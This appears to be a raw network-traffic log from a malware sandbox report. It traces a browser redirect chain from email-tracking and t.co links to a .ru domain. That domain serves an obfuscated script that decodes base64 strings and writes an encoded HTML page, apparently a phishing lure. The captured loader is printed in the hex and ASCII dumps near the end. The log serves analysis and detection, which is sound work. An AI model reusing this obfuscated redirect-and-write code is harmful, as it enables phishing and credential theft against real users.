Mar 7, 2025 10:14:05.695044994 CET	756	IN	HTTP/1.1 302 Found Date: Fri, 07 Mar 2025 09:14:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: nginx Set-Cookie: PHPSESSID=eueja4ei4j1u1r3db49512qbr5; expires=Fri, 07 Mar 2025 19:14:04 GMT; Max-Age=36000; path=/; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=eueja4ei4j1u1r3db49512qbr5; path=/; secure; HttpOnly; SameSite=Strict Location: https://z379sz8.r.us-east-2.awstrack.me/L0/https:%2F%2Ft.co%2FnPMN4J1OaS/1/010f01956a6c3a2a-d3e44e5f-1d19-4e09-b4cc-97a89bb096e2-000000/4nSVfMhV0Sf9IPteKw6uktpL420=201 Content-Encoding: gzip Vary: Accept-Encoding Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140
Mar 7, 2025 10:14:05.695182085 CET	756	IN	HTTP/1.1 302 Found Date: Fri, 07 Mar 2025 09:14:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: nginx Set-Cookie: PHPSESSID=eueja4ei4j1u1r3db49512qbr5; expires=Fri, 07 Mar 2025 19:14:04 GMT; Max-Age=36000; path=/; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=eueja4ei4j1u1r3db49512qbr5; path=/; secure; HttpOnly; SameSite=Strict Location: https://z379sz8.r.us-east-2.awstrack.me/L0/https:%2F%2Ft.co%2FnPMN4J1OaS/1/010f01956a6c3a2a-d3e44e5f-1d19-4e09-b4cc-97a89bb096e2-000000/4nSVfMhV0Sf9IPteKw6uktpL420=201 Content-Encoding: gzip Vary: Accept-Encoding Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140
Mar 7, 2025 10:14:05.695353031 CET	756	IN	HTTP/1.1 302 Found Date: Fri, 07 Mar 2025 09:14:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Server: nginx Set-Cookie: PHPSESSID=eueja4ei4j1u1r3db49512qbr5; expires=Fri, 07 Mar 2025 19:14:04 GMT; Max-Age=36000; path=/; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: PHPSESSID=eueja4ei4j1u1r3db49512qbr5; path=/; secure; HttpOnly; SameSite=Strict Location: https://z379sz8.r.us-east-2.awstrack.me/L0/https:%2F%2Ft.co%2FnPMN4J1OaS/1/010f01956a6c3a2a-d3e44e5f-1d19-4e09-b4cc-97a89bb096e2-000000/4nSVfMhV0Sf9IPteKw6uktpL420=201 Content-Encoding: gzip Vary: Accept-Encoding Data Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140
Mar 7, 2025 10:14:50.701602936 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49725	2.19.105.127	80	412	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 10:14:09.362399101 CET	115	OUT	GET / HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Microsoft-CryptoAPI/10.0 Host: x1.i.lencr.org
Mar 7, 2025 10:14:10.012953043 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Content-Type: application/pkix-cert Last-Modified: Fri, 04 Aug 2023 20:57:56 GMT ETag: "64cd6654-56f" Content-Disposition: attachment; filename="ISRG Root X1.der" Cache-Control: max-age=46756 Expires: Fri, 07 Mar 2025 22:13:25 GMT Date: Fri, 07 Mar 2025 09:14:09 GMT Content-Length: 1391 Connection: keep-alive Data Raw: 30 82 05 6b 30 82 03 53 a0 03 02 01 02 02 11 00 82 10 cf b0 d2 40 e3 59 44 63 e0 bb 63 82 8b 00 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 1e 17 0d 31 35 30 36 30 34 31 31 30 34 33 38 5a 17 0d 33 35 30 36 30 34 31 31 30 34 33 38 5a 30 4f 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 29 30 27 06 03 55 04 0a 13 20 49 6e 74 65 72 6e 65 74 20 53 65 63 75 72 69 74 79 20 52 65 73 65 61 72 63 68 20 47 72 6f 75 70 31 15 30 13 06 03 55 04 03 13 0c 49 53 52 47 20 52 6f 6f 74 20 58 31 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 02 01 00 ad e8 24 73 f4 14 37 f3 9b 9e 2b 57 28 1c 87 be dc b7 df 38 90 8c 6e 3c e6 57 a0 78 f7 75 c2 a2 fe f5 6a 6e f6 00 4f 28 db de 68 86 6c 44 93 b6 b1 63 fd 14 12 6b bf 1f d2 ea 31 9b 21 7e d1 33 [TRUNCATED] Data Ascii: 0k0S@YDcc0H0O10UUS1)0'U Internet Security Research Group10UISRG Root X10150604110438Z350604110438Z0O10UUS1)0'U Internet Security Research Group10UISRG Root X10"0H0$s7+W(8n<WxujnO(hlDck1!~3<Hy!KqiJffl~<p)"K~G\|H#S8Oo.IWt/8{p!u0<cOK~w.{JL%p)S$J?aQcq.o[\4ylv;by/&676urIAv5/(ldwnG7Y^hrA)>Y>&$ZL@F:Qn;}rxY>Qx/>{JKsP\|Ctt0[q600\H;}`)A\|;FHvvj=8d+(B"']ypN:'Qnd3COB0@0U0U00UyY{sXn0*HUX
Mar 7, 2025 10:14:10.012973070 CET	509	IN	Data Raw: a9 bc b2 a8 50 d0 0c b1 d8 1a 69 20 27 29 08 ac 61 75 5c 8a 6e f8 82 e5 69 2f d5 f6 56 4b b9 b8 73 10 59 d3 21 97 7e e7 4c 71 fb b2 d2 60 ad 39 a8 0b ea 17 21 56 85 f1 50 0e 59 eb ce e0 59 e9 ba c9 15 ef 86 9d 8f 84 80 f6 e4 e9 91 90 dc 17 9b 62 Data Ascii: Pi ')au\ni/VKsY!~Lq`9!VPYYbEf\|o;'}~"+"4[XT&3L-<W,N;1"ss993#L<U)"k;W:pMMl]+NEJ&rj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49711	15.197.175.4	80	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Mar 7, 2025 10:14:49.263974905 CET	6	OUT	Data Raw: 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49716	13.58.118.141	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 09:14:09 UTC	801	OUT	GET /L0/https:%2F%2Ft.co%2FnPMN4J1OaS/1/010f01956a6c3a2a-d3e44e5f-1d19-4e09-b4cc-97a89bb096e2-000000/4nSVfMhV0Sf9IPteKw6uktpL420=201 HTTP/1.1 Host: z379sz8.r.us-east-2.awstrack.me Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-07 09:14:09 UTC	132	IN	HTTP/1.1 302 Found Date: Fri, 07 Mar 2025 09:14:09 GMT Location: https://t.co/nPMN4J1OaS Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49726	172.66.0.227	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 09:14:11 UTC	657	OUT	GET /nPMN4J1OaS HTTP/1.1 Host: t.co Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-07 09:14:11 UTC	1124	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 09:14:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close perf: 7402827104 vary: Origin expires: Fri, 07 Mar 2025 09:19:11 GMT Set-Cookie: muc=3018875c-be92-4729-bea2-e6b6405e14dc; Max-Age=63072000; Expires=Sun, 07 Mar 2027 09:14:11 GMT; Domain=t.co; Secure; SameSite=None Cache-Control: private,max-age=300 x-transaction-id: d7698519e05ae90c x-xss-protection: 0 strict-transport-security: max-age=0 x-response-time: 13 x-connection-hash: 5690319d594d2aeccc6232e8770d4bb665133752e40f1e53f4c6e8785f8d42b4 CF-Cache-Status: DYNAMIC Set-Cookie: muc_ads=3018875c-be92-4729-bea2-e6b6405e14dc; Max-Age=63072000; Expires=Sun, 07 Mar 2027 09:14:11 GMT; Path=/; Domain=t.co; Secure; SameSite=None Set-Cookie: __cf_bm=ByOSCxIUW6Ju.5fvOn7UC2SCJA_E7re.wpVVBvLfNnY-1741338851-1.0.1.1-N1lc_qJCU6Hhv9NrtzT1FmGrOWy__.U2CNWrs6d56Uev5_KSylX4ZOKy2oFlw7L789vejXeHr0bf3WVdNj8.r4QEikHpMysVMl4OW6beb9A; path=/; expires=Fri, 07-Mar-25 09:44:11 GMT; domain=.t.co; HttpOnly; Secure; SameSite=None Server: cloudflare tsa_b CF-RAY: 91c8fb2e5a7e812d-ORD
2025-03-07 09:14:11 UTC	245	IN	Data Raw: 36 37 62 0d 0a 3c 68 65 61 64 3e 3c 6e 6f 73 63 72 69 70 74 3e 3c 4d 45 54 41 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 55 52 4c 3d 68 74 74 70 73 3a 2f 2f 6c 69 6e 6b 2e 70 72 2e 63 6c 69 6e 69 63 73 65 6e 73 65 2e 63 6f 6d 2f 6c 73 2f 63 6c 69 63 6b 3f 75 70 6e 3d 75 30 30 31 2e 62 69 78 49 58 62 72 77 30 6b 61 46 6b 51 45 67 67 30 54 4a 64 50 74 62 76 45 6a 54 6e 46 51 49 67 70 48 73 59 2d 32 42 44 39 48 41 4b 57 30 39 47 77 5a 30 65 4f 50 79 44 79 70 58 63 4f 44 41 7a 47 46 48 66 37 5f 67 77 31 36 64 4c 69 4f 42 35 59 36 6f 35 63 57 71 73 74 76 52 74 35 6d 56 55 35 6a 30 50 64 36 69 39 6e 49 74 48 4d 6b 57 4e 75 52 77 65 57 50 71 50 72 6d 72 5a 76 44 33 69 42 71 6f Data Ascii: 67b<head><noscript><META http-equiv="refresh" content="0;URL=https://link.pr.clinicsense.com/ls/click?upn=u001.bixIXbrw0kaFkQEgg0TJdPtbvEjTnFQIgpHsY-2BD9HAKW09GwZ0eOPyDypXcODAzGFHf7_gw16dLiOB5Y6o5cWqstvRt5mVU5j0Pd6i9nItHMkWNuRweWPqPrmrZvD3iBqo
2025-03-07 09:14:11 UTC	1369	IN	Data Raw: 32 56 76 38 64 78 7a 6b 4a 4b 34 4c 42 36 34 4e 4d 4e 6d 43 72 56 4a 62 77 57 67 6c 76 47 30 51 63 4d 44 4e 62 75 64 39 4d 45 37 69 70 59 78 71 57 7a 32 58 38 55 4e 48 7a 31 71 53 36 4d 65 42 55 50 4f 37 6f 43 6f 7a 5a 65 46 47 65 78 30 61 4a 4f 73 4a 4c 4a 77 50 56 56 4f 6c 61 59 43 2d 32 42 69 52 64 37 44 35 4d 46 4d 4d 39 6b 6b 76 70 67 2d 32 46 57 76 49 48 52 6f 66 66 79 6c 36 65 55 69 31 65 7a 38 51 35 36 70 77 38 42 67 4e 50 56 57 75 6a 43 37 4b 41 4a 59 31 66 37 2d 32 46 4a 5a 67 7a 75 49 36 4f 72 57 57 7a 6a 61 62 63 49 4f 78 49 4d 6c 53 6c 41 73 5a 6d 77 38 68 4e 2d 32 46 4a 4c 69 34 39 6d 38 76 45 2d 32 42 55 53 42 64 6c 32 62 4f 67 48 6c 74 4a 58 4c 4f 6d 70 62 30 55 63 4e 4b 43 51 6c 79 50 50 73 56 4b 30 6f 41 33 53 79 42 68 49 71 59 67 4c 31 Data Ascii: 2Vv8dxzkJK4LB64NMNmCrVJbwWglvG0QcMDNbud9ME7ipYxqWz2X8UNHz1qS6MeBUPO7oCozZeFGex0aJOsJLJwPVVOlaYC-2BiRd7D5MFMM9kkvpg-2FWvIHRoffyl6eUi1ez8Q56pw8BgNPVWujC7KAJY1f7-2FJZgzuI6OrWWzjabcIOxIMlSlAsZmw8hN-2FJLi49m8vE-2BUSBdl2bOgHltJXLOmpb0UcNKCQlyPPsVK0oA3SyBhIqYgL1
2025-03-07 09:14:11 UTC	52	IN	Data Raw: 46 32 37 55 31 49 62 58 45 4b 32 7a 76 49 77 6e 41 71 6a 45 67 61 32 38 48 59 6b 54 6a 6e 77 43 72 4e 50 45 2d 33 44 22 29 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: F27U1IbXEK2zvIwnAqjEga28HYkTjnwCrNPE-3D")</script>
2025-03-07 09:14:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49732	3.167.227.11	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 09:14:14 UTC	1145	OUT	GET /ls/click?upn=u001.bixIXbrw0kaFkQEgg0TJdPtbvEjTnFQIgpHsY-2BD9HAKW09GwZ0eOPyDypXcODAzGFHf7_gw16dLiOB5Y6o5cWqstvRt5mVU5j0Pd6i9nItHMkWNuRweWPqPrmrZvD3iBqo2Vv8dxzkJK4LB64NMNmCrVJbwWglvG0QcMDNbud9ME7ipYxqWz2X8UNHz1qS6MeBUPO7oCozZeFGex0aJOsJLJwPVVOlaYC-2BiRd7D5MFMM9kkvpg-2FWvIHRoffyl6eUi1ez8Q56pw8BgNPVWujC7KAJY1f7-2FJZgzuI6OrWWzjabcIOxIMlSlAsZmw8hN-2FJLi49m8vE-2BUSBdl2bOgHltJXLOmpb0UcNKCQlyPPsVK0oA3SyBhIqYgL1zj6oIWRQzZCL5Ww-2BG4OjE-2F27U1IbXEK2zvIwnAqjEga28HYkTjnwCrNPE-3D HTTP/1.1 Host: link.pr.clinicsense.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://t.co/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-07 09:14:15 UTC	424	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 51 Connection: close Server: nginx Date: Fri, 07 Mar 2025 09:14:14 GMT X-Robots-Tag: noindex, nofollow Location: https://AS.krxlexm.ru/J8eBu/ X-Cache: Miss from cloudfront Via: 1.1 4cbb03cab2ae98371d6d5b712148e8c2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P11 X-Amz-Cf-Id: EHJrmydVhluHK0SqIv2-e7lh41jmbOAY9Z6saNZ7OMqm4iv2imFfug==
2025-03-07 09:14:15 UTC	51	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 41 53 2e 6b 72 78 6c 65 78 6d 2e 72 75 2f 4a 38 65 42 75 2f 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://AS.krxlexm.ru/J8eBu/">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49735	172.67.134.191	443	7900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-07 09:14:16 UTC	672	OUT	GET /J8eBu/ HTTP/1.1 Host: as.krxlexm.ru Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://t.co/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-07 09:14:17 UTC	1226	IN	HTTP/1.1 200 OK Date: Fri, 07 Mar 2025 09:14:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2se%2FTHfMs6N%2F5Ia6P%2Fvb5C%2FctaBuBnvDvr2qIQlyHuw%2BQFVkgVvI4QkUfG6E%2FrsK1EdYseWWLy73d6QThI4SJay%2FCk3FWDYPVDOK30cXb9STYg08d27kfd%2BxURk3vjX%2BlNEr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=18708&min_rtt=18705&rtt_var=7017&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1582&delivery_rate=216198&cwnd=231&unsent_bytes=0&cid=fcb9098455dc9acc&ts=217&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Ijd0aDYrdHNEdnZwRmRaT1RlVkJmOXc9PSIsInZhbHVlIjoib2dlMUY2OXNTV010R1MzUFFnWDVsMGZpRm96cGZyamFOdU1yb2YvbENRWnB0eEx0aXR6ekQwZjZNMkhxRkFBYnhvdDJOUXhaOFVpUVVHdUEwV2Q3N2xaNEJHWlhIemFRU0FKWjE5TW8wWXE4MEtPR1IxRlE5WURQY0I2SDE0eWkiLCJtYWMiOiI4YTQ5NWU4YjBkOGQwNTg0NGMwOWU2OTU5M2FlMTI4NmFiZWY1NWI3NTk5NGFhNzdlMmQ2OGVlOTMxNGY5ZWJjIiwidGFnIjoiIn0%3D; expires=Fri, 07-Mar-2025 11:14:17 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-07 09:14:17 UTC	766	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 39 4c 54 56 51 77 4e 32 5a 78 53 56 6b 31 57 58 52 31 65 45 68 57 5a 46 56 31 57 58 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 5a 6a 4a 32 51 33 59 33 56 30 56 52 4e 55 64 61 52 30 4e 55 52 6d 78 71 52 56 4d 7a 59 6d 52 34 54 57 52 69 4e 55 46 73 54 55 5a 78 4d 6c 6f 33 63 33 64 61 64 44 42 70 62 58 64 6a 64 45 56 56 62 31 49 79 5a 47 35 4d 61 6c 68 6c 61 6b 45 31 56 6d 35 5a 63 6d 78 5a 4e 45 4e 7a 5a 57 6c 55 55 44 4d 72 4f 46 42 69 53 31 6f 72 5a 6d 52 59 4d 32 56 4c 4e 6c 68 55 59 30 67 76 4f 47 52 6f 53 69 38 78 62 48 6f 33 4e 6e 4e 35 4d 7a 68 33 64 30 63 30 65 6d 74 58 4c 31 6b 7a 53 7a 4e 44 56 6e 4d 72 64 79 74 68 54 6e 49 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Im9LTVQwN2ZxSVk1WXR1eEhWZFV1WXc9PSIsInZhbHVlIjoiZjJ2Q3Y3V0VRNUdaR0NURmxqRVMzYmR4TWRiNUFsTUZxMlo3c3dadDBpbXdjdEVVb1IyZG5MalhlakE1Vm5ZcmxZNENzZWlUUDMrOFBiS1orZmRYM2VLNlhUY0gvOGRoSi8xbHo3NnN5Mzh3d0c0emtXL1kzSzNDVnMrdythTnI
2025-03-07 09:14:17 UTC	1369	IN	Data Raw: 35 30 63 35 0d 0a 3c 73 63 72 69 70 74 3e 0a 48 57 50 70 75 52 70 6d 6c 4d 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 61 53 79 35 72 63 6e 68 73 5a 58 68 74 4c 6e 4a 31 4c 30 6f 34 5a 55 4a 31 4c 77 3d 3d 22 29 3b 0a 72 53 63 50 66 6a 51 67 64 64 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 45 4f 6d 47 66 73 44 48 59 4c 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 48 57 50 70 75 52 70 6d 6c 4d 20 3d 3d 20 72 53 63 50 66 6a 51 67 64 64 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 45 4f 6d 47 66 73 44 48 59 4c 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f 64 47 31 73 Data Ascii: 50c5<script>HWPpuRpmlM = atob("aHR0cHM6Ly9aSy5rcnhsZXhtLnJ1L0o4ZUJ1Lw==");rScPfjQgdd = atob("bm9tYXRjaA==");EOmGfsDHYL = atob("d3JpdGU=");if(HWPpuRpmlM == rScPfjQgdd){document[EOmGfsDHYL](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+CjxodG1s
2025-03-07 09:14:17 UTC	1369	IN	Data Raw: 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 Data Ascii: 6g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk7
2025-03-07 09:14:17 UTC	1369	IN	Data Raw: 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 Data Ascii: k776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g44Wk44
2025-03-07 09:14:17 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 Data Ascii: 776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk776g776
2025-03-07 09:14:17 UTC	1369	IN	Data Raw: 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b Data Ascii: 